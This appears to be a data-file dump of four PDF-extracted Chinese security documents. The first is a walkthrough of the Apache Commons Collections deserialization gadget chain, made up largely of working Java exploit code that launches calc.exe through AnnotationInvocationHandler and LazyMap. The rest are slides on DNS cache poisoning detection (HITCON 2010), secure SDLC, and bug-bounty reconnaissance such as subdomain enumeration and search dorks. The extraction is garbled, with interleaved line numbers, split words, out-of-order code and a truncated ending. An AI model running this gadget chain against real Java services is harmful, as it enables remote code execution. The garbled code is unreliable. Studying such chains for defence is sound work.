text
stringlengths
100
9.93M
category
stringclasses
11 values
CommonCollection1 InvokeTransformer // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package ; import Serializable; import InvocationTargetException; import Method; import FunctorException; import Transformer; public class InvokerTransformer implements Transformer, Serializable { static final long serialVersionUID = -8653385846894047688L; private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public static Transformer getInstance(String methodName) { if (methodName == null) { throw new IllegalArgumentException("The method to invoke must not be null"); } else { return new InvokerTransformer(methodName); } } public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] a rgs) { if (methodName == null) { throw new IllegalArgumentException("The method to invoke must not be null"); } else if (paramTypes == null && args != null || paramTypes != null && args == null || paramTypes != null && args != null && paramTypes.length != args.length) { throw new IllegalArgumentException("The parameter types must match the argument s"); } else if (paramTypes != null && paramTypes.length != 0) { paramTypes = (Class[])paramTypes.clone(); args = (Object[])args.clone(); return new InvokerTransformer(methodName, paramTypes, args); } else { return new InvokerTransformer(methodName); } } private InvokerTransformer(String methodName) { this.iMethodName = methodName; this.iParamTypes = null; this.iArgs = null; org.apache.commons.collections.functors java.io. java.lang.reflect. java.lang.reflect. org.apache.commons.collections. org.apache.commons.collections. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 这是一个单例模式设计的类,通过transform方法使用反射执行代码。传入参数为一个对象。 } public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMetho dName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMetho dName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMetho dName + "' on '" + input.getClass() + "' threw an exception", var7); } } } } 、 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 调用方式: InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{S tring.class},new Object[]{"calc.exe"}); invokerTransformer.transform(Runtime.getRuntime()); 1 2 3 之后尝试搜索有什么地方调用了invokeTransformer.transform方法,同搜索transform关键字,找到几处: 构造链中使用的是ChainedTransformer,这里的SwitchTransformer也有ChainedTransformer的特点,不过多追加了一个 判断。 通过ChainedTransformer调用InvokeTransformer执行命令: InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{S tring.class},new Object[]{"calc.exe"}); // invokerTransformer.transform(Runtime.getRuntime()); Transformer[] transformers={ new ConstantTransformer(Runtime.getRuntime()),//ConstantTransformer传进去一个对 象,然后通过transform返回传进去的对象。这样在chainedTransformer链中就不需要传入一个对象。 invokerTransformer}; // Transformer[] transformers=new Transformer[]{ // new ConstantTransformer(Runtime.getRuntime()), // new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.e xe"}), // }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(""); 1 2 3 4 5 6 7 8 9 10 11 12 13 此处ConstantTransformer类的作用是自动返回一个对象。 TransformedMap TransformedMap用于对Java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素时,将可以执行一个回调。我们通 过下面这行代码对innerMap进行修饰,传出的outerMap即是修饰后的Map: 通过static方法创建一个TransformedMap对象,其中,keyTransformer或者valueTransformer属性就是回调方法,之后调用p ut方法存储数据,会进行数据整理,第71,72行就调用transformKey或transformValue方法,然后调用回调方法。 完整的代码: public static void main(String[] args) throws Exception { InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{S tring.class},new Object[]{"calc.exe"}); // invokerTransformer.transform(Runtime.getRuntime()); Transformer[] transformers={ new ConstantTransformer(Runtime.getRuntime()),//ConstantTransformer传进去一个对 象,然后通过transform返回传进去的对象。这样在chainedTransformer链中就不需要传入一个对象。 1 2 3 4 5 6 到此触发代码执行的逻辑已经完全清楚了,我们的`demo`中核心部分就在向`outermap`中添加一个新的原素。 因此要找到一个`readObject`方法能够自动执行这个添加元素的操作,从而触发反序列化。 如何执行outerMap.put--AnnotationInvocationHandler invokerTransformer}; // Transformer[] transformers=new Transformer[]{ // new ConstantTransformer(Runtime.getRuntime()), // new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.e xe"}), // }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); //chainedTransformer.transform(""); //System.out.println(Runtime.getRuntime().getClass().getMethod("exec",String.clas s).invoke(Runtime.getRuntime(),"calc.exe")); //Runtime.getRuntime().exec() Map innerMap=new HashMap(); Map outerMap= TransformedMap.decorate(innerMap,null,chainedTransformer); outerMap.put("test","xxx"); //调用的是TransformedMap类中的put方法。 } 7 8 9 10 11 12 13 14 15 16 17 18 19 public class CommonCollections3 { public static void main(String[] args) throws Exception { InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{S tring.class},new Object[]{"calc.exe"}); // invokerTransformer.transform(Runtime.getRuntime()); Transformer[] transformers={ new ConstantTransformer(Runtime.getRuntime()),//ConstantTransformer传进去一个对 象,然后通过transform返回传进去的对象。这样在chainedTransformer链中就不需要传入一个对象。 invokerTransformer}; // Transformer[] transformers=new Transformer[]{ // new ConstantTransformer(Runtime.getRuntime()), // new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.e xe"}), // }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); //chainedTransformer.transform(""); //System.out.println(Runtime.getRuntime().getClass().getMethod("exec",String.clas s).invoke(Runtime.getRuntime(),"calc.exe")); //Runtime.getRuntime().exec() Map innerMap=new HashMap(); Map outerMap= TransformedMap.decorate(innerMap,null,chainedTransformer); outerMap.put("test","xxx"); //调用的是TransformedMap类中的put方法。 Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandle r"); Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object obj = constructor.newInstance(Retention.class, outerMap); ByteArrayOutputStream barr=new ByteArrayOutputStream(); ObjectOutputStream oos=new ObjectOutputStream(barr); oos.writeObject(obj); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 此处生成序列化流时会报一个错误: 因为Runtime类没有实现serializable接口,所以这里不能被反序列化。需要简单的修改上面的链: Runtime类没有实现serializable接口不能反序列化,但是Class类实现了,所以我们在ConstantTransformer这里传入Runt ime类的类对象,然后利用Class类对象当中的getMethod方法获取到getRuntime方法,之后调用java.lang.reflect.Method 类中的invoke方法执行getRuntime方法,返回一个Runtime对象; oos.close(); } } 28 29 30 public static void main(String[] args) throws Exception { InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{S tring.class},new Object[]{"calc.exe"}); // invokerTransformer.transform(Runtime.getRuntime()); // Transformer[] transformers={ // new ConstantTransformer(Runtime.getRuntime()),//ConstantTransformer传进去一个 对象,然后通过transform返回传进去的对象。这样在chainedTransformer链中就不需要传入一个对象。 // invokerTransformer}; //此处因为Runtime类没有实现serializable接口,所以无法被反序 列化,需要修改链。 Transformer[] transformers={ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),//通过InvokerTransformer方法获取getRuntime方法 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Ob ject[]{null,new Object[0]}), //If the underlying method is static, then the specified obj argument is ignored. It may be null. invokerTransformer, }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(""); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package ; import Method; public class calc { public static void main(String[] args) throws Exception{ // Runtime.getRuntime().exec("calc.exe"); reflect2 java.lang.reflect. 1 2 3 4 5 6 7 在执行上述修改后的代码,进行序列化时还是会爆出一个错误: 这个错误经过调试之后发现是因为执行InvokeTransformer的transform对象之后返回的对象类型为ProcessImpl,导致put方 法的value值为这个类,而这个类是没有实现接口无法被序列化的。 try{ Object runtime=Class.forName("java.lang.Runtime") .getMethod("getRuntime") //此次是通过getRuntime方法返回一个runtime对象。 具体内容可见Runtim类 .invoke(null); //此处getRuntime是一个静态方法,反射调用不需要传入对象 //If the underlying method is static, then the specified obj argument is ignored. It may be nul l. Class.forName("java.lang.Runtime") .getMethod("exec",String.class) .invoke(runtime,"calc.exe");// }catch (Exception e){ System.out.println(e); } try{ Class runtime2=Runtime.class.getClass(); Method method=runtime2.getMethod("getMethod",String.class,Class[].class); System.out.println(method); Method runtimeObj= (Method) method.invoke(Runtime.class,"getRuntime",new Class[ 0]); System.out.println(runtimeObj); Object demo1=runtimeObj.invoke(null, new Object[0]); System.out.println(demo1); Class.forName("java.lang.Runtime") .getMethod("exec",String.class) .invoke(demo1,"calc.exe"); //method.exec("calc.exe"); }catch (Exception e){ e.printStackTrace(); } } } 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 解决方法,再传入一个ConstantTransformer对象,将值设为1,这样再次调用tranform方法时就会返回传入的1 这里有一个点就是,经过上面的构造链计算之后,Map中的所有键对应的值都会变成1。 PS:这里有一个点需要注意的,就是关于innerMap和outerMap的使用 此处使用innerMap首先存入数据,那么put数据的时候不会触发构造链,并且不会报上面的错误,并且下一步只会将ChainedTr public class CommonCollections3 { public static void main(String[] args) throws Exception { InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{S tring.class},new Object[]{"calc.exe"}); // invokerTransformer.transform(Runtime.getRuntime()); // Transformer[] transformers={ // new ConstantTransformer(Runtime.getRuntime()),//ConstantTransformer传进去一个 对象,然后通过transform返回传进去的对象。这样在chainedTransformer链中就不需要传入一个对象。 // invokerTransformer}; //此处因为Runtime类没有实现serializable接口,所以无法被反序 列化,需要修改链。 Transformer[] transformers={ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),//通过InvokerTransformer方法获取getRuntime方法 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Ob ject[]{null,new Object[0]}), invokerTransformer, new ConstantTransformer(1), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(""); } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ansformer赋值到outMap当中。 一开始使用outerMap存放数据,那么在put的时候就会触发构造链,并且会触发上面的报错。 关于AnnotationInvocationHandler 在通过var5.setValue的过程就会像我们之前分析的一样,有一个通过outermap进行添加元素的操作。仔细分析一下。 AnnotationInvocationHandler的调用与初始化 AnnotationInvocationHandler是JDK的内部类,不能通过new的方式来进行创建,所以此处使用java反射的方式进行调用。 第二部分,就是关于调用newInstance进行初始化。在这一步中,需要来阅读AnnotationInvocationHandler源码查看如何进 行初始化。 version:8u66 private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stre am"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); //Object obj = constructor.newInstance(Retention.class, outerMap); //Retention.class; InvocationHandler handler= (InvocationHandler)constructor.newInstance(Counter.class , outerMap); 1 2 3 4 5 6 首先传递两个参数var1和Map,其中这个var1是一个Class类型且必须继承Annotation类。这里的Annotation类就是java的注解 了,java中所有的注解都继承自该类。且该类是个接口类型,无法直接创建子类。而且无法通过实现该接口,再继承的方式去实 现。 也就是这种方式创建是无法完成初始化的。 这里可以直接自定义一个注解,因为每一个注解都继承自Annotation类。 之后通过getInterfaces()方法获取到var1所实现的第一个接口对象。然后使用isAnnotation方法检查var1是不是Annotati on注解类型,并判断获取到的第一个接口对象是不是Annotation类型。之后将AnnotationInvocationHandler类的type属性 赋值var1,memberValues属性赋值var2。 AnnotationInvocationHandler的反序列化 AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { this.type = var1; this.memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation t ype."); } } 1 2 3 4 5 6 7 8 9 class a implements Annotation{ @Override public Class<? extends Annotation> annotationType() { return null; } } class b extends a{} 1 2 3 4 5 6 7 8 上图,readObject方法 首先是创建一个AnnotionType类型的变量var2,然后通过AnnotionType.getInstance方法获取到this.type的Class类对 象。这里的this.type属性根据之前的分析,就是我们传递的第一个变量,一个interface SecurityRambling.Counter。这 里的使用的AnnotationType.getInstance方法作用是获取注解类本身。 详细信息:AnnotationType类型介绍 之后可以看到获取到的var2变量的属性,其中memberTypes属性中保存的是当前注解拥有的方法。是一个HashMap类型。 @interface Counter { test count(); String a(); } enum test{ CLASS, SOURCE, RUNTIME, } 1 2 3 4 5 6 7 8 9 10 之后将memberTypes属性的值赋值给var3,然后创建一个迭代器,迭代器的内容就是之前存入的TransformedMap类型的值。 之后继续,对迭代器进行遍历。 此处可以看到,首先从迭代器取出一个值,赋值给var5,然后获取到var5的键为demo,之后在var3中寻找键名为demo的值,这 个var3存放的当前注解所有的接口方法。而当前接口没有一个名为demo的方法,因此var7为null,然后跳过setValue的步骤。 直接返回。 此处我们要想var7不为null,就必须在生成序列化链的时候,通过outermap存入一个键值,且键名必须为AnnotationInvocati onHandler类初始化时传进去的注解的其中一个方法名。所以构造链应该如下: 继续调试。 此时var7不为null,进入到if结构当中,然后获取到var5的值,赋值给var8,可以看到var8为int类型的1,这个值与我们构造链 中的最后一次创建ConstantTransformer对象传递的值有关系,是我们可以人为控制的。然后通过两个判断,根据逻辑两个判 断都必须为false,才能进入到setValue方法。 第一个判断: java.lang.Class类的isInstance()方法用于检查指定的对象是否兼容分配给该Class的实例。如果指定对象为 非null,并且可以强制转换为此类的实例,则该方法返回true。否则返回false。 用法: public boolean isInstance(Object object) 参数:此方法接受object作为参数,这是要检查与此Class实例的兼容性的指定对象。 返回值:如果指定对象为非null,并且可以强制转换为此类的实例,则此方法返回true。否则返回false 1 2 3 4 5 6 7 8 此处var7为String类型,var8为Integer类型,两个判断都为False,进入到setValue方法。进入setValue方法之后还有一系 列的操作,最后在此处产生了类似outerMap.put()的操作,并触发构造链。 到此,整个构造链第一部分的分析结束。 LazyMap代替TransformedMap 原因 在高版本中AnnotationInvocationHandler类中的readObject方法被修改了,使用重新生成的LinkHashMap来进行数据操作, 因此反序列化的过程中不会再触发put的操作。 所以在yso中使用LazyMap对TransformedMap进行替换。 LazyMap 第二个判断 instanceof 严格来说是Java中的一个双目运算符,用来测试一个对象是否为一个类的实例 9 10 LazyMap也是通过decorate方法在创建对象的时候将factory属性赋值为chainedTransformer,之后通过get方法获取一个不 存在的键值对时就会通过factory方法去获取一个值,也就是在这个地方可以触发构造链。 public class LazyMap extends AbstractMapDecorator implements Map, Serializable { private static final long serialVersionUID = 7990956402564206740L; protected final Transformer factory; public static Map decorate(Map map, Factory factory) { return new LazyMap(map, factory); } public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } protected LazyMap(Map map, Factory factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { this.factory = FactoryTransformer.getInstance(factory); } } protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { this.factory = factory; } } private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundExceptio n { in.defaultReadObject(); super.map = (Map)in.readObject(); } public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 找到了LazyMap触发构造链的点,之后要考虑如何在反序列化的时候执行这个get方法,还是利用AnnotationInvocationHand ler类,但是这个类的readObject方法是没有触发get方法的操作的。但是invoke()方法中有一个get的操作。 那么问题就转移到如何在反序列化的过程中执行这个invoke方法。 Java对象代理 详细可以看java代理类的学习。 自定义一个handle继承自InvocationHandler,然后实现invoke方法,劫持get方法的执行流程。 class Handle implements InvocationHandler{ protected Map map; public Handle(Map map) { this.map = map; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if(method.getName().equals("get")){ System.out.println("正在调用get方法"); //通过此次劫持get执行流程。 return "hack job"; } return method.invoke(map,args); } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 重回LazyMap 还是来关注sun.reflect.annotation.AnnotationInvocationHandler类,可以发现他是一个本身就实现了 InvocationHandle接口的类,实现了invoke方法,那么我们只要创建一个outerMap的代理类,handler参数传递为sun.reflec t.annotation.AnnotationInvocationHandler,那么我们就可以劫持outerMap执行get方法的流程。 HashMap innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, chainedTransformer); //outerMap.get(1); //生成动态代理对象 Map proxyInstance = (Map)Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, new Handle(outerMap) ); outerMap.put("hello","world"); Object hello = proxyInstance.get("hello"); System.out.println(hello); 1 2 3 4 5 6 7 8 9 10 11 12 13 所以整个调用构造链的方法修改为如下形式: Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandle r"); Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Counter.cla ss, outerMap); Map proxyMap =(Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, handler //将handler传递进去,之后sun.reflect.annotation.AnnotationInvocationHan dler方法就会劫持原本的get方法。 ); proxyMap.entrySet();// 1 2 3 4 5 6 7 8 9 10 11 最开始使用proxyMap.get(1)的方式来触发invoke,但是一直报错。 这个错误是在invoke方法中触发的,因为传递的是一个有参方法,经过getParameterTypes获取参数类型的时候不为0,所以 直接抛出异常。改为无参的方法再劫持就能成功触发构造链了。 经过劫持之后,outerMap对象已经变成了proxyMap对象了,现在就是要想办法再readObject方法中让这个proxyMap调用一个 无参方法,就可以完成整个构造链。回到sun.reflect.annotation.AnnotationInvocationHandler类的readObject方法当 中。 在readObject方法当中通过获取到memberValues属性值,赋值给var4,然后var4也调用了一个无参的方法。所以这个 readObject本身就可以满足要求,所以再创建一个AnnotationInvocationHandler对象,然后将其序列化就可以满足要求。 构造链调试和疑问 1、在jdk1.8.0_131中直接报错。在jdk1.8.0_66中成功弹计算机。 因为jdk版本跟新之后修改了AnnotationInvocationHandler的readObject方法,将其中的memberValue变量进行了修改,所 以在劫持内部过程,执行invoke函数的时候this.memberValue不再是LazyMap: 2、序列化的过程中序列化了两个AnnotationInvocationHandler对象,所以反序列化时会触发两次readObjet方法。使用两次 不一样的注解,清楚的看到两次反序列化。 第一次: 第二次:
pdf
1 DNSPD: Entrap Botnets Through DNS Cache Poisoning Detection p1t1r HITCON 2010 2 自介  Hi, this is p1t1r  資安背景  Rootkit  Web  Network  DNS spoofing 3 DNS攻擊  DNS Cache Poisoning攻擊  很危險的東西,迄今尚未被解決  你上的任何網站都有可能是攻擊者的網站  防禦機制  一大堆  不過預設的DNS環境是未受保護的 4 DNSPD  防禦,順便抓 Botnet  Botnet 正夯 !!!  問題:  這個防禦機制夠穩當嗎?  要看攻擊者的人品  其他機制也可以抓,要你何用?  好像可以快一點、準一點  應該還有不少問題...  ……. !! 5 DNS 簡介  功用  將domain name 對應至 IP Address(es)  www.google.com <-> 74.125.153.103, …, etc.  特點  大多採用UDP連線  快  先到的答案,就是正確的答案  (?) 6 DNS 結構  Domain Name Space  Name Server  儲存/管理 特定的domain name  Resolver (cache server)  暫存之前查詢過的資料(domain name & IPs),方便快速回應  保存資料,直到 TTL 過期  攻擊者的主要目標!!! 7 DNS 運行方式 8 DNS Resolver 面對的威脅  UDP封包可以偽造來源IP  難以認證資料的可信度  Resolver 如何驗證資料正確性?  答案必須對應之前提出的問題  來源IP 要符合  Port Number 要符合  Transaction ID 要符合 9 DNS Cache Poisoning 攻擊  攻擊目標 1. 先選 DNS Cache主機 (Resolver)  Google Public DNS - 8.8.8.8 2. 再選 特定domain  例如: 將 blog.hitcon.org 的IP改成 攻擊者的IP  攻擊發起時機  目標domain的資料,不存在Resolver的cache中  Resolver向外部name server發出詢問,而且尚 未收到答案前 10 傳統 DNS Cache Poisoning 攻擊 www.google.com ? 相信我…. 你要的答案是 115.115.115.115 實際上 www.google.com: 64.233.183.99 64.233.183.103 64.233.183.104 64.233.183.105 ............... Attack end Attack begin 11 傳統攻擊之缺點  每次失敗都要等! 等! 等!  等 TTL過期  若是TTL很長  三秒捕魚,兩天曬網 12 Dan Kaminsky  Black Hat USA 2008  DNS Cache Poisoning Attack  不用再為TTL煩惱了 !  隨時可以發起攻擊  想打多久也隨便你  適用BIND9任何版本  不過,難度不同  v9.4.2之後,增加了random port 13 Kaminsky 效應 : DNSSEC熱銷 From: “Deploying and Monitoring DNS Security (DNSSEC)” 14 Kaminsky’s Poisoning Attack ..... 1 Time interval 2 3 Malicious 4 Client Resolver Authoritative name server 我是 www.google.com, 我來自115.115.115.115 你要找的答案 並不存在 請相信我喔~ 我是ns1.google.com 來自216.239.32.10 你要找的答案 並不存在 千萬別問 www.google.com 改問 123.google.com? 1234.google.com? …… 99999.google.com? …… 15 Kaminsky攻擊封包 16 數學公式 – 攻擊成功機率  RFC 5452  Poisoning 成功機率  打了很多回合,至少成功一次的機率  帶入參數    W  T A S I P N R W P / CS * * * 1 1 1 1 P           *P *I N W *R PS   T W  R / CS *64000*65536 5.2 * 1.0 1 1 P        17 攻擊模擬 0 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1 0 5 10 15 20 25 30 35 40 45 50 55 60 Time (hour) Spoofing Probability N(1), Rate(7000) N(1), Rate(70000) N(1), Rate(700000) N(2.5), Rate(7000) N(2.5), Rate(70000) N(2.5), Rate(700000) 18 一些防範措施  DNSSEC  非對稱式加密、電子簽章  Google method  沒有答案,就別多管閒事 19 Major Components of DNSPD  DNS Resolver  Router  Analysis Crawler 20 DNSPD效應  如果攻擊者要躲避DNSPD的偵測  攻擊頻率必須小於門檻值  單一IP,非常難以成功  使用 Botnet 成員  投入多個IP  攻擊低於門檻值的情況下,仍可提高成功機率  But … 21 結論  DNSPD可以有效偵測Cache Poisoning 攻擊,並避免其危害  DNSPD可以迫使攻擊者使用Botnet  DNSPD可能會間接保護其他Resolver 22 Q & A  謝謝大家
pdf
Secure SofwareDevelopment LifeCycle 为您构架安全的业务系统 企业最佳安全实践 系统安全 网络安全 应用安全 1990-2017 2002-2017 2006-2017 网络攻击的方向 木桶原理 安全攻击,最薄弱环节的攻击; 安全问题,最薄弱环节的集群式爆发; 最薄弱环节的攻击 没有考虑安全设计的业务系统,理论上安全风险较高; 没有经过长时间考验的业务系统,实际安全风险较高; 没有经过验证的业务逻辑,带来的新形式的攻击较多。 最新业务的攻击 漏洞 防御 体系 威胁 防御 体系 漏洞防御体系 依照漏洞思维来建立的防御系统: 1、既有漏洞的安全经验; 2、测试发现的漏洞情况; 优势:简单、快速、高效; 劣势:不够全面、攻击样板点需要足够、未知风险较高 现状:目前互联网主流模式,大量SRC起来的原因都在此 威胁防御体系 通过建立威胁模型,来充分发现软件产品中的威胁,在设 计、开发、测试、运维等各个角度来削减威胁,最后达到 一个动态的平衡。 优势:系统、全面、成本可控; 劣势:体系建设需要一个周期,全员质量 现状:目前行业仅TOP 100强开始超这个思路建设 软件安全建设思路 安全防御体系 增加攻击成本 网络安全 降低安全风险 敏捷开发环境,特别在DevOps模式下,留给 安全测试人员的时间非常有限,无法充分发现 安全问题; 敏捷开发模式下安全测试 01 在开发环境中,安全人员数量有限,多项目并 行交付、上线过程中,无法进行充分的安全测 试; 多项目并行环境 02 目前软件开发过程中,会引入大量的第三方组 件,第三方组件的安全问题爆发,会导致整个 产品的安全问题; 第三方代码带来的安全问题 03 在线系统出现问题后,如何快速解决以及溯源 应急响应机制 04 面临 挑战 软件安全开发生命周期,主要目的是通 过系统的体系,帮助软件开发厂商在需 求、设计、开发、测试、部署上线等各 个阶段降低安全风险,提升安全能力。 安全设计 设计 安全测试 测试 安全需求 需求 安全开发 开发 S-SDLC 软件安全开发生命周期 部署 上线 安全风险 Security Risk Network Application Mobile Cloud IoT Mobile TOP 10 Risk M1-平台使用不当 M2-不安全的数据存储 M3-不安全的通信 M4-不安全的身份验证 M5-加密不足 M6-不安全的授权 M7-客户端代码质量问题 M8-代码篡改 M9-逆向工程 M10-无关的功能 OWASP TOP 10 A1 - 注入 A2 -失效的身份认证和会话管理 A3 -跨站脚本( XSS) A4 - 不安全的直接对象引用 A5 -安全配置错误 A6 -敏感信息泄漏 A7 - 功能级访问控制缺失 A8 -跨站请求伪造 ( CSRF) A9 - 使用含有已知漏洞的组件 A10 - 未验证的重定向和转发 IoT TOP 10 I1 - 不安全的Web界面 I2 -不完备的认证授权机制 I3 -不安全的网络服务 I4 - 缺乏传输加密 I5 -隐私处理存在问题 I6 -不安全的云环境 I7 -不安全的移动设备环境 I8 -不完备的安全配置 I9 -不安全的软件、固件 I10 -薄弱的物理安全保护 100%的IoT设备接受123456这样的弱密码 100%的IoT设备没有闭锁机制 100%的IoT设备有枚举风险 70%的IoT设备的SSH通道有root帐号权限 60%的IoT设备的web页面有XSS和SQL injection问题 70%的IoT设备没有加密机制 80%的IoT设备收集用户个人信息 90%的IoT设备没有多重认证机制 90%的IoT设备的软件升级过程有安全漏洞 安全风险导致问题 IoT全球DDOS攻击案例 安全风险削减过程 Security Risk Reduction 威胁 分析 安全 设计 安全 开发 安全 测试 安全 部署 建立安全开发体系 S-SDLC 需求 设计 开发 测试 部署和 运维 - 风险评估 - 威胁建模 - 设计审核 - 攻击面分析 - 安全开发 - 代码审核 - 安全测试 - 渗透测试 - 安全加固 - 补丁管理 - 漏洞管理 - 安全事件响应 - 风险评估模板 - 威胁库 - 设计审核模板 - 公共安全组件 - 静态分析工具 - 动态分析工具 - 第三方渗透测 试 - 安全基线 - 扫描、监控、 管理工具 培训、政策、组织能力 敏捷开发模式 S-SDLC • 环境初始 化 • 威胁建模 • 安全开发 • 持续集成 • 自动化部署 • 安全运维 • 持续测试 • 更新设计 • 代码审核 • 渗透测试 设计 开发 测试 部署 THANKS www.seczone.cn 4000-983-183
pdf
--面向企业src的漏洞挖掘 从0到1,发现与拓展攻 击面 Speaker name:羽 Date:2019/04/19 01 子域名枚举、端口扫描、路径扫描、旁站c段查询 常规性资产收集 02 关注页面内容、关注目录、敏感关键字搜索 巧用搜索引擎 03 构造接口、构造文件、构造目录、框架搭配 发挥创造性思维 04 微信公众号、小程序 关注企业动态 05 gayhub搜索、漏洞回挖、假性社工 其他tips 06 从一个文件服务器静态资源泄露引发的血案 综合案例 content 常规性资产收集 基本的资产收集方式:子域名枚举、端口扫描、路径 扫描、旁站c段查询 子域名枚举 4 子域名爆破:sublist3r、subdomainsBurte、subfinder、layer子域名挖掘机 子域名枚举 5 在线子域名查询站点:云悉资产、FOFA、Virustotal、Dnsdumpster、Threatcrowd 路径扫描 6 目录爆破+路径扫描:msf中的brute_dirs、dir_listing、dir_scanner;dirsearch 旁站c段查询 7 在线旁站C段查询:www.webscan.cc、www.5kik.com、phpinfo.me 常规性资产收集 8 子域名爆破工具+ 在线子域名查询, 获得子域名列表 子域名枚举 对站点旁站、c段进行 查询,对获取到的新资 产收录入子域名列表, 开启下一轮循环 旁站C段查询 使用nmap探测站点 开放端口,记录到域 名列表中 端口扫描 对站点所有开放的 web端口进行路径扫描, 获取具体资产 路径扫描 常见困境 9 10 11 巧用搜索引擎 在通过端口扫描、目录爆破、路径扫描之后,仍无法 发现目标站点有效资产的时候,借助搜索引擎往往会 有意外的收获 渗透测试必备三大搜索引擎 13 1 百度搜索:四星推荐 2 必应搜索:四星推荐 3 谷歌搜索:五星推荐 14 由于不同的搜索引擎对于同一站点收录的内容会不同,使用多个搜索引擎搜索 站点,常常能够有意外的收获。常用的搜索语法:site:www.example.com 关注页面内容 15 intext:www.example.com 关注目录:不同目录下隐藏着不同的系统 16 对于时间就是金钱的众测项目来说, 摸清站点结构是十分重要的,发现隐 藏的薄弱的系统不仅不容易重复,也 更容易获得漏洞赏金。 敏感关键字搜索 17 ①parent directory site:www.example.com ②site:www.example.com asmx/xml 发挥创造性思维 假如搜索引擎也失去了色彩,这个世界还会好吗?还 会的!通过发挥创造性思维去构造接口、构造文件、 构造目录,同样可以闯出一片天地!当然了,加上框 架搭配,味道会更佳! 发挥创造性思维·接口构造 19 